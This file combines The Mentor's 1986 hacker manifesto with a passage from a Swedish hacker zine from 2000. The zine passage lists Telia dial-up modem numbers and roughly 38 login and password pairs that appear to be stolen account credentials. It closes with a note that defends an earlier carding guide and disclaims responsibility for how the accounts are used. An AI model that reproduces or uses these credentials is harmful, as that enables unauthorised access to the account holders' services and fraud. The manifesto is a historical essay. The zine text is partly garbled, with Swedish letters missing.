\/\The Conscience of a Hacker/\/
by
+++The Mentor+++
Written on January 8, 1986
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Another one got caught today, it's all over the papers. "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
Damn kids. They're all alike.
But did you, in your three-piece psychology and 1950's technobrain,
ever take a look behind the eyes of the hacker? Did you ever wonder what
made him tick, what forces shaped him, what may have molded him?
I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of
the other kids, this crap they teach us bores me...
Damn underachiever. They're all alike.
I'm in junior high or high school. I've listened to teachers explain
for the fifteenth time how to reduce a fraction. I understand it. "No, Ms.
Smith, I didn't show my work. I did it in my head..."
Damn kid. Probably copied it. They're all alike.
I made a discovery today. I found a computer. Wait a second, this is
cool. It does what I want it to. If it makes a mistake, it's because I
screwed it up. Not because it doesn't like me...
Or feels threatened by me...
Or thinks I'm a smart ass...
Or doesn't like teaching and shouldn't be here...
Damn kid. All he does is play games. They're all alike.
And then it happened... a door opened to a world... rushing through
the phone line like heroin through an addict's veins, an electronic pulse is
sent out, a refuge from the day-to-day incompetencies is sought... a board is
found.
"This is it... this is where I belong..."
I know everyone here... even if I've never met them, never talked to
them, may never hear from them again... I know you all...
Damn kid. Tying up the phone line again. They're all alike...
You bet your ass we're all alike... we've been spoon-fed baby food at
school when we hungered for steak... the bits of meat that you did let slip
through were pre-chewed and tasteless. We've been dominated by sadists, or
ignored by the apathetic. The few that had something to teach found us will-
ing pupils, but those few are like drops of water in the desert.
This is our world now... the world of the electron and the switch, the
beauty of the baud. We make use of a service already existing without paying
for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
you call us criminals. We explore... and you call us criminals. We seek
after knowledge... and you call us criminals. We exist without skin color,
without nationality, without religious bias... and you call us criminals.
You build atomic bombs, you wage wars, you murder, cheat, and lie to us
and try to make us believe it's for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never forgive me
for.
I am a hacker, and this is my manifesto. You may stop this individual,
but you can't stop us all... after all, we're all alike.
+++The Mentor+++
_______________________________________________________________________________
=========================================================================
-------------------------------------------------------------------------------------------------------------------------->
7.0 Telia Konton.
-------------------------------------------------------------------------------------------------------------------------->
Modempoler:
28.8 - 33.6 = 020-333355
X2 = 020-335602
56flex = 020-335656
________________
login: a010566907
password: 5TLF4EcP
login: u46301511
password: 3%fKAEq*
login: a010534477
password: jY4c9JXk
login: u43004510
password: !*6ALGHj
login: a00204827
password: AMBmcAhp
login: a010161131
password: JuA!WTxi
login: a010110597
password: t!d5PNu3
login: a00770200
password: 59hUASz5
login: a010052854
password: tziguz9y
login: a010132369
password: X3DPhDan
login: a010272295
password: L@nN%n8V
login: a010405462
password: 7L6iqqSq
login: u00109231
password: QgVV!mtu
login: a010325012
password: @NV6B3j9
login: a010522744
password: ELkMsLHD
login: a010185834
password: 7pfBkqX2
login: a010105448
password: GxKtcC4F
login: a010233759
password: prLaLhbt
login: a010233759
password: xpYDXrGr
login: a010520496
password: Z3Q@iC4C
login: a010053202
password: ph45vEbN
login: u31603177
password: QLYmuXKZ
login: a010067762
password: cJjjMygv
login: u37012643
password: dqpMYz4S
login: a010134578
password: zWaj4d2G
login: a010485515
password: HhtpwdFk
login: a010098726
password: qyXHh4H*
login: a010280502
password: xMS5dVxQ
login: u18102438
password: ATFfFhqG
login: a010474532
password: t4uVutYU
login: u31727238
password: LSw@B9rQ
login: u00112411
password: s22yE8Vb
login: u31713411
password: HCpDrF2p
login: a010561873
password: xUBPZR*h
login: u87301917
password: u7bre@ai
login: u31771653
password: QswHjZwN
login: a010134578
password: zWaj4d2G
login: u85403446
password: XSD!ugH3
-------------------------------------------------------------------------------------------------------------------------->
8.0 Slutord.
-------------------------------------------------------------------------------------------------------------------------->
mm teliasuger.com har ftt in en del klagoml nr det gller vran "020/carding guide" i frra nummret av "STREETWHORE". En
del personer p IRC menar att vi uppmanar till ripping. Det gr vi absolut INTE. Guiden var till fr att lttare kunna anvnda
020 konton/CC information och att trada p ett stt utan att bli rippad. teliasuger.com kan dock inte hindra ngon att anvnda
den information som stog i guiden fr att rippa. Det r upp till var och en. VI KAN EJ ANSVARA FR ENSKILDA PERSONERS HANDLINGAR
MED NGON FORM AV INFORMATION SOM PUBLICERAS HR.
-------------------------------------------------------------------------------------------------------------------------->
-END OF THE FILE-
Editor: sysedit
Mail: root@teliasuger.com
/Har ni frgor eller klagoml eller har ni information som ni skulle vilja publicera. Skicka d ett mail till root@teliasuger.com
(c)opyright teliasuger.com och streetwhore productions inc.. /datum: 2000-06-12 kl: 17:09
(Telia kontona har ej blivit testade. S drfr kan vi ej p teliasuger.com p ngot stt hllas ansvarig fr enskilda personers
handlingar med dom.VI AVSTR HELT FRN ANSVAR FRN DOM. Om ni har informatiom som stdjer att publiceringen av dom s.k Telia kontona r olaglig skicka d ett mail
till root@teliasuger.com s ska vi omedelbart ta bort dom.)